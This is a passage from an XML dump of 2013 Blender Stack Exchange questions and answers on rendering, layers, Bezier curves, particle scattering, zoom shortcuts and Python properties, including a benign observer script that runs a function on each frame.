  <row Id="967" PostTypeId="2" ParentId="964" CreationDate="2013-06-12T18:36:44.980" Score="48" Body="&lt;p&gt;In object mode press &lt;kbd&gt;W&lt;/kbd&gt; -&amp;gt; clear all restricted render. That will make all objects visible in the render. Also you can select and object and hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt; to unrestrict render on the selected object. If there are objects that you have that you do not want rendered you can click the camera button next to the objects name in the outliner which is usually the top right window. This toggles camera visibility.&lt;/p&gt;&#xA;&lt;p&gt;Version 2.80+ : Press &lt;kbd&gt;F3&lt;/kbd&gt; to bring in the &lt;em&gt;search&lt;/em&gt; operator  and type &lt;em&gt;clear all restrict render&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="469" LastEditorUserId="86891" LastEditDate="2021-01-07T11:11:40.613" LastActivityDate="2021-01-07T11:11:40.613" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="968" PostTypeId="2" ParentId="953" CreationDate="2013-06-12T19:14:04.933" Score="10" Body="&lt;p&gt;It appears that this is not supported by blender. So here is my workaround.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a little script that will allow you to execute a function when the property of an object changes. I'm not used to blender modules so I didn't made a downloadable module out of it. But it's still pretty easy to set up.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Create the observer module&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;first, we need to execute a function every frame, this function will check if any property has changed and call the corresponding observer function.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add an empty to the scene. &lt;/li&gt;&#xA;&lt;li&gt;Add a pydriver to the empty (open the property panel (n) and then right clic on the location and select &quot;Add Single Driver&quot;)&lt;/li&gt;&#xA;&lt;li&gt;Go in the graph window and open the &quot;Drivers&quot; display (clic on f-curve editor button in the bottom).&lt;/li&gt;&#xA;&lt;li&gt;Open the properties (n)&lt;/li&gt;&#xA;&lt;li&gt;Select the added driver in the list on the left.&lt;/li&gt;&#xA;&lt;li&gt;Remove any variable and modifier in the properties panel.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Just below the &quot;Scripted Expression&quot; button there is the &quot;Expr&quot; field enter in it the following :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update(frame)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will call our frameUpdate function at every frame change.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now that we are setup&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;create a new file in the text editor named &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;observer.py&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;check the &quot;register&quot; option (this will create a new module loaded automatically with .blend) and add the following to the file:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#author : Vincent Picard&#xA;&#xA;import bpy&#xA;import bpy.app&#xA;&#xA;#list of all the observers.&#xA;observers = []&#xA;print(&quot;test&quot;)&#xA;#This is to function to call in your scripts. use it to have your function called everytime an object property changes.&#xA;#object : Object to watch,&#xA;#property : property to be wathed.&#xA;#function to execute every time the property of the given object changes.&#xA;#function will be given this parameters :&#xA;#    object : the object.&#xA;#    value : new value of the property&#xA;#    old : old value of the property. &#xA;#    frame : current frame.&#xA;def observe(object, property, function):&#xA;    observers.append(Observer(object,property,function))&#xA;&#xA;#Called at every frame. This will call the function that are listening.&#xA;def frameUpdate(frame):&#xA;    for observer in observers:&#xA;        observer.update(frame)&#xA;    return 0.0&#xA;&#xA;&#xA;#make the function visible to scripted driver.&#xA;bpy.app.driver_namespace['update'] = frameUpdate&#xA;&#xA;#Each time we call observe we create an observer object. &#xA;class Observer:&#xA;    def __init__(self, object, property, function):&#xA;        #if the property object needs deep copy &#xA;        try :&#xA;            self.oldValue = getattr(object, property).copy()&#xA;            self.newValue = getattr(object, property).copy()&#xA;        #if the property object doesn't need it (and don't have a copy method).&#xA;        except AttributeError:&#xA;            self.oldValue = getattr(object, property)&#xA;            self.newValue = getattr(object, property)&#xA;&#xA;        self.object = object&#xA;        self.property = property&#xA;        self.function = function&#xA;&#xA;    #Call the function if the object property changed.    &#xA;    def update(self, frame):&#xA;        #if the object needs deep copy &#xA;        try :&#xA;            self.oldValue = self.newValue.copy()&#xA;            self.newValue = getattr(self.object, self.property).copy()&#xA;        #if the object doesn't need it (and don't have a copy method).&#xA;        except AttributeError:&#xA;            self.oldValue = self.newValue&#xA;            self.newValue = getattr(self.object, self.property)&#xA;&#xA;        if self.oldValue != self.newValue:&#xA;            self.function(object = self.object, value = self.newValue, old = self.oldValue, frame = frame)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;How to create an observer and use it.&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You now need to reopen you .blend, that way the &quot;observer&quot; module will be available.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can now observe object properties and make a function to be call when it changes.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create your script file (example) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import observer&#xA;&#xA;#define the function you want to be executed. this one as an example simply print old and new value when they are changed.&#xA;def updateAnimation(object, value, old, frame):&#xA;    print(value)&#xA;    print(old)&#xA;&#xA;#register your observer.   &#xA;observer.observe(bpy.data.objects[&quot;Cube.031&quot;], &quot;location&quot;, updateAnimation)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run it, it will register your observer.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Potential Problems&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;do not run the observer.py&lt;/strong&gt; file, if you do then it will stop working and you will need to reopen the &lt;code&gt;.blend&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user471" LastEditorUserId="47" LastEditDate="2013-06-13T11:56:37.270" LastActivityDate="2013-06-13T11:56:37.270" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="969" PostTypeId="1" AcceptedAnswerId="970" CreationDate="2013-06-12T19:34:29.700" Score="8" ViewCount="3195" Body="&lt;p&gt;How can I make an object show up on different layers without having to copy it? E.g. I have an object animated and I want it to show up on multiple layers. &lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="2217" LastEditDate="2014-05-07T14:10:35.690" LastActivityDate="2014-10-28T20:33:30.480" Title="How can I make an object show up on different layers" Tags="&lt;layers&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="970" PostTypeId="2" ParentId="969" CreationDate="2013-06-12T19:38:36.073" Score="12" Body="&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;LMB&lt;/kbd&gt; on the layer boxes in the &lt;code&gt;Relations&lt;/code&gt; section of &lt;code&gt;Properties&lt;/code&gt;-&gt;&lt;code&gt;Object&lt;/code&gt;.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PsjF7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or in 3d view hit &lt;kbd&gt;M&lt;/kbd&gt; in &lt;code&gt;Object&lt;/code&gt; mode, and &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;LMB&lt;/kbd&gt; on the layer boxes there&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-06-12T19:56:02.620" LastActivityDate="2013-06-12T19:56:02.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="971" PostTypeId="2" ParentId="962" CreationDate="2013-06-12T20:08:58.050" Score="10" Body="&lt;p&gt;Here's how I made a quarter circle:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w9aEI.png&quot; alt=&quot;picture of quarter circle&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a Bezier curve and &lt;kbd&gt;Tab&lt;/kbd&gt; into &lt;em&gt;Edit Mode&lt;/em&gt;.  Since this will be a 2D curve, select the &lt;em&gt;2D&lt;/em&gt; button in the &lt;em&gt;Properties Panel &gt; Object Data tab&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Move each point to the end of the curved part.  I decided the circle would have a radius of 1, so one point went to (1, 0, 0) and the other went to (0, 1, 0).&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Since the line from each point to the control point attached to it is tangent to the curve, we know that the point at (1, 0, 0) will have a control point above it and the point at (0, 1, 0) will have a control point to the right of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And since the curve is a circle, we know that the control points will be the same distance from their respective points due to symmetry.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; out of &lt;em&gt;Edit Mode&lt;/em&gt; and add a circle mesh object to compare the curve to, then back into edit mode with the curve.&lt;/li&gt;&#xA;&lt;li&gt;Try moving the control points while keeping the above constraints.&lt;/li&gt;&#xA;&lt;li&gt;Once you get the quarter circle, extrude a point and move it to the origin.  Connect it to the other point and adjust control points as needed to make the straight sides.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt; My control points are at (1, 0.55, 0) and (0.55, 1, 0)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: This will only approximate a circle, but you can get close enough for most purposes.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way is not the fastest way, clearly, but its method can be extended for creating other curved shapes.&lt;/p&gt;&#xA;" OwnerUserId="364" LastEditorUserId="20508" LastEditDate="2016-07-21T01:15:08.957" LastActivityDate="2016-07-21T01:15:08.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="972" PostTypeId="2" ParentId="964" CreationDate="2013-06-12T20:17:32.173" Score="16" Body="&lt;p&gt;Alternatively, next time you can check to see if anything has been disabled from being rendered. Just bring up the &lt;em&gt;Outliner&lt;/em&gt; and look to see if the camera beside it is grayed out. &lt;em&gt;I myself sometimes hit this by accident sometimes.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shortcut to do this is &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;H&lt;/kbd&gt; to turn rendering off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;H&lt;/kbd&gt; to turn it back on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other two are the eye and the cursor which means an object is invisible &lt;em&gt;and&lt;/em&gt; disabled from being selected respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uYId4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorDisplayName="user1853" LastEditDate="2015-03-27T00:29:49.023" LastActivityDate="2015-03-27T00:29:49.023" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="973" PostTypeId="2" ParentId="969" CreationDate="2013-06-12T21:21:02.173" Score="3" Body="&lt;p&gt;Select your object, hotkey &lt;kbd&gt;m&lt;/kbd&gt;, and then &lt;kbd&gt;Shift&lt;/kbd&gt; left-click on whatever layers you want it to appear in. &#xA;&lt;br&gt;&#xA;NOTE: if you do have your object in multiple layers, you'll generally also want to add the camera and lights to those (multiple) layers as well when compositing.&lt;/p&gt;&#xA;" OwnerUserId="556" LastActivityDate="2013-06-12T21:21:02.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="974" PostTypeId="1" AcceptedAnswerId="976" CreationDate="2013-06-12T21:56:29.113" Score="15" ViewCount="3129" Body="&lt;p&gt;How can I make a number of objects (or copies of one object) sit &quot;snugly&quot; on an irregular surface - like trees or rocks on irregular ground?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I once came across a tutorial that covered this but I cannot find it again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing I can think of is to create a &quot;pseudo object&quot; whose vertices represent the desired relative target locations then use retopologize to make the &quot;pseudo object&quot; vertices conform to the surface of the irregular target object and, finally, use dupliverts to place the added objects.&lt;/p&gt;&#xA;" OwnerUserId="635" LastEditorUserId="635" LastEditDate="2013-06-13T02:35:24.873" LastActivityDate="2016-07-01T15:21:38.953" Title="How can I make a number of objects sit &quot;snugly&quot; on an irregular surface?" Tags="&lt;modeling&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="975" PostTypeId="1" AcceptedAnswerId="980" CreationDate="2013-06-12T22:10:45.330" Score="7" ViewCount="335" Body="&lt;p&gt;Shown below is a render of a model of mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N315B.png&quot; alt=&quot;enter picture description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;Larger version &lt;a href=&quot;https://i.stack.imgur.com/N315B.png&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see in the circled portions, the anti-aliasing is pretty bad. How do I improve it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried increasing the samples per pixel and the sample width, but neither seem to help it. Is there any other way to correct it?&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="47" LastEditDate="2013-06-12T23:34:29.237" LastActivityDate="2013-06-12T23:34:29.237" Title="Why is this anti-aliasing artefact happening?" Tags="&lt;antialiasing&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="976" PostTypeId="2" ParentId="974" CreationDate="2013-06-12T22:14:29.697" Score="7" Body="&lt;p&gt;This might not be as &lt;em&gt;'snug'&lt;/em&gt; as you might want but for the use case you described above, it is perfect. You can do this with a particle system and groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Group all your objects that you want to sit on the ground and add a new &lt;em&gt;Particle&lt;/em&gt; system to the ground.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the type to &lt;em&gt;Hair&lt;/em&gt; and under &lt;em&gt;Render&lt;/em&gt; change the type to &lt;em&gt;Group&lt;/em&gt; and select the group you had previously created, your objects will be scattered randomly across the ground.&lt;br&gt;&#xA;(&lt;strong&gt;Note:&lt;/strong&gt; This might lag your scene as the default &lt;em&gt;Emission&lt;/em&gt; amount is 1000, so change it before or after).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagine this can be ideal for scattering rocks and or brush over some terrain. &lt;em&gt;I won't go too indepth on the other settings as they are pretty intuitive and you will more likely get your desired results if you experiment&lt;/em&gt;. &lt;sup&gt;&lt;em&gt;(larger image &lt;a href=&quot;https://i.stack.imgur.com/GuQzg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;)&lt;/em&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GuQzg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-13T12:24:25.180" LastActivityDate="2013-06-13T12:24:25.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="978" PostTypeId="2" ParentId="974" CreationDate="2013-06-12T22:19:31.873" Score="5" Body="&lt;p&gt;The easiest way I know is creating a particle system on the terrain or ground object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First thing to do is to make in a hidden layer a series of related but different objects (three, four, ten rocks or trees). Then you select them all and group them (with &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;G&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you create the particle system in the terrain object, chosing the number and pattern of distribution of the objects (jittered and random should be ok to the rock or tree scenario). The start and end frames of the particle system should be one, and the life of the particles should match de length of your animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Choose &quot;no physics&quot; (instead of the default: Newtonian). Then the particles would be scattered and won't move their place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the render settings (inside particle settings), choose &quot;group&quot;, and select your newly created group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your computer becomes too slow, you can chose in the display section to display a point or the bounding box of the particles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some settings that may help to match the rotation of the particles with the one you want: the easiest is, in the render settings where you chose &quot;group&quot;, to check the &quot;rotation&quot; option. The second one is to check and adjust the &quot;rotation&quot; group of settings, specially the &quot;phase&quot; one. A third option is to go back to &quot;newtonian&quot;, then in velocity section set the normal to 0, and go back to &quot;no physics&quot;. The last one is to change the rotation of the objects in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Happy blending!&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="47" LastEditDate="2013-06-12T22:33:03.723" LastActivityDate="2013-06-12T22:33:03.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="979" PostTypeId="2" ParentId="974" CreationDate="2013-06-12T22:23:59.333" Score="3" Body="&lt;h3&gt;Drop to Ground (Addon)&lt;/h3&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Object/Drop_to_ground&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Object/Drop_to_ground&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;lets you select objects and a ground plane and how to orient the objects once they reach the ground plane. The addon comes with simple controls and good user guide.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-06-12T22:23:59.333" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="980" PostTypeId="2" ParentId="975" CreationDate="2013-06-12T23:14:59.310" Score="5" Body="&lt;p&gt;Looks like you have transparency on the Island material, switching it off seems to do the trick,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RZ3TE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-06-12T23:24:53.937" LastActivityDate="2013-06-12T23:24:53.937" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="983" PostTypeId="1" CreationDate="2013-06-13T00:30:22.420" Score="23" ViewCount="12270" Body="&lt;p&gt;Is (or will be) there any sort of light linking in Cycles, or a method to get a light to affect only certain objects that doesn't involve compositing two or more different render layers? Sort of what 3Dstudio does with the Include/Exclude methods.&lt;/p&gt;&#xA;" OwnerUserId="640" LastActivityDate="2014-09-09T16:47:19.140" Title="Exclusive lighting" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="984" PostTypeId="1" AcceptedAnswerId="991" CreationDate="2013-06-13T00:49:44.770" Score="7" ViewCount="4541" Body="&lt;p&gt;I am asking this question because I cannot think of any advantage to vertex painting over automatic uv unwrapping followed by texture painting.&lt;/p&gt;&#xA;" OwnerUserId="635" LastEditorUserId="635" LastEditDate="2013-06-13T02:20:43.290" LastActivityDate="2013-06-13T11:19:51.610" Title="When is vertex painting the right choice to color a model?" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;vertex-colors&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ClosedDate="2013-06-14T12:30:16.707" ContentLicense="CC BY-SA 3.0" />
  <row Id="985" PostTypeId="1" AcceptedAnswerId="1189" CreationDate="2013-06-13T01:58:32.020" Score="12" ViewCount="11557" Body="&lt;p&gt;What could cause this?&#xA;&lt;kbd&gt;f12&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5z8Wt.png&quot; alt=&quot;F12 Render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Viewport:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bdj67.png&quot; alt=&quot;Viewport&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(the &lt;kbd&gt;f12&lt;/kbd&gt; has fewer samples, but even when the viewport is at lower samples it looks different..)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know about color management, but that is at the defaults..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b3cQG.png&quot; alt=&quot;Colo Management&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: oops.. I know 'log' is not a default, but that is because I was fiddling with it. The image above is rendered with 'default'  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The material is quite simple, only a translucent shader. (for testing) I even tried appending everything into a new file to reset all the settings, but no difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT2: Uploaded blend &#xA;&lt;a href=&quot;http://www.pasteall.org/blend/22200&quot; rel=&quot;noreferrer&quot;&gt;http://www.pasteall.org/blend/22200&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-06-19T20:34:41.663" LastActivityDate="2013-06-19T22:09:31.753" Title="Cycles viewport render different than f12 render?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;3d-view&gt;&lt;rendering&gt;" AnswerCount="2" CommentCount="7" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="986" PostTypeId="1" AcceptedAnswerId="988" CreationDate="2013-06-13T02:06:03.910" Score="6" ViewCount="3625" Body="&lt;p&gt;After I have rendered an image I often want to zoom in and out to get a good look at it and check for problems etc. However, I don't know how to reset the zoom level back to 1:1 (1 image pixel = 1 display pixel). I know I can just save the render and look at it in an image viewing application, but I was wondering if there is a shortcut or toolbar button somewhere that will reset the zoom?&lt;/p&gt;&#xA;" OwnerUserId="328" LastEditorUserId="12" LastEditDate="2013-06-13T02:21:53.983" LastActivityDate="2013-06-13T02:44:14.487" Title="Is it possible to reset the render view zoom level to 1:1?" Tags="&lt;image&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="987" PostTypeId="2" ParentId="986" CreationDate="2013-06-13T02:10:23.260" Score="4" Body="&lt;p&gt;The relevant keyboard shortcuts are &lt;kbd&gt;1&lt;/kbd&gt; for 1:1 zoom, &lt;kbd&gt;2&lt;/kbd&gt; for 1:2, and &lt;kbd&gt;4&lt;/kbd&gt; for 1:4.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-06-13T02:10:23.260" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="988" PostTypeId="2" ParentId="986" CreationDate="2013-06-13T02:10:31.543" Score="10" Body="&lt;p&gt;You use &lt;kbd&gt;Numpad 1&lt;/kbd&gt; to get a &lt;code&gt;1:1&lt;/code&gt; zoom ratio in the Image editor. If you go to &lt;em&gt;View&lt;/em&gt; in the header, you can see all the options there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0E20b.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-13T02:44:14.487" LastActivityDate="2013-06-13T02:44:14.487" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="989" PostTypeId="1" AcceptedAnswerId="1030" CreationDate="2013-06-13T02:37:55.767" Score="25" ViewCount="2375" Body="&lt;p&gt;For example, rigid bodies and fluid. I know it's kind of possible by setting the rigid bodies as fluid obstacles, but it's not &quot;true&quot; interaction in that the fluid does not affect the rigid bodies...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By &quot;true&quot; interaction I mean where two (or more) physics systems affect each other simultaneously. For example, with rigid body and cloth, the rigid body affects the cloth but the cloth doesn't affect the rigid body (at least the way I'm doing it), so the rigid body just eventually stretches the cloth to an extreme and falls through...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any ways to achieve this? (for any interaction, not just rigid bodies and fluid)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, if not, does anyone know whether there are any plans to implement this sort of feature?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="1253" LastEditDate="2014-12-17T06:42:57.943" LastActivityDate="2014-12-17T06:42:57.943" Title="Physics cross-simulation interactions?" Tags="&lt;fluid-simulation&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="990" PostTypeId="2" ParentId="1" CreationDate="2013-06-13T02:47:34.270" Score="8" Body="&lt;p&gt;You could also use the &lt;em&gt;Bending&lt;/em&gt; and &lt;em&gt;Push&lt;/em&gt; values in the &lt;em&gt;Physics &gt; Softbody &gt; Softbody Edges panel&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably slower and unnecessary in this case, but I thought I would mention it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a nice &lt;a href=&quot;http://www.youtube.com/watch?v=ofIi4ddHGW0&quot;&gt;video with examples of the settings&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;br&gt;&#xA;in my experience also enabling &quot;stiff quads&quot; helps keep things in shape as well.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-08-26T18:46:52.277" LastActivityDate="2013-08-26T18:46:52.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="991" PostTypeId="2" ParentId="984" CreationDate="2013-06-13T03:14:57.563" Score="5" Body="&lt;p&gt;Vertex color is faster to setup, and not needing any texture image or UV-unwrapping can be perceived as an advantage in itself. I've helped a colleague setting up his characters for an animation training DVD (&lt;a href=&quot;http://toko.blenderindonesia.org/cover_dvd.png&quot; rel=&quot;noreferrer&quot;&gt;cover&lt;/a&gt;). He uses mainly vertex color, and not resorting to complex lighting or texture tricks to convey subtly varied colors in each character.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another project I've been involved in consumes 1.5GB of RAM when rendering, mostly for textures. This one's memory requirement would be orders of magnitude lower.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your character design needs the detail, then using image/procedural texture would be justified. Otherwise, vertex color can be a viable alternative, especially on computers with less RAM to use.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-06-13T03:14:57.563" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="992" PostTypeId="1" AcceptedAnswerId="1006" CreationDate="2013-06-13T04:08:11.120" Score="6" ViewCount="1886" Body="&lt;p&gt;I am always confused between &lt;code&gt;bpy.types.IntProperty&lt;/code&gt; and &lt;code&gt;bpy.props.IntProperty&lt;/code&gt;. (similarly with other properties)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the examples do use &lt;code&gt;bpy.props.IntProperty&lt;/code&gt;, but I never came across a clear explanation of the difference between them.&lt;/p&gt;&#xA;" OwnerUserId="228" LastEditorUserId="228" LastEditDate="2013-06-19T16:25:49.927" LastActivityDate="2013-06-26T14:54:33.047" Title="What is the difference between bpy.types.IntProperty and bpy.props.IntProperty?" Tags="&lt;python&gt;&lt;properties&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="993" PostTypeId="2" ParentId="992" CreationDate="2013-06-13T05:27:30.593" Score="2" Body="&lt;p&gt;&lt;code&gt;*Property&lt;/code&gt; functions in &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.props.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bpy.props&lt;/code&gt;&lt;/a&gt; module are what we use to instantiate the property. Classes with the same name in &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.types.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bpy.types&lt;/code&gt;&lt;/a&gt; contains structure related to the property, accessible at runtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in the snippet below I use &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.props.html#bpy.props.IntProperty&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bpy.props.IntProperty&lt;/code&gt;&lt;/a&gt; function to add a custom property to a scene object. Even though &lt;code&gt;scene.int_prop&lt;/code&gt; is a Python integer, I can still access the property's structure as 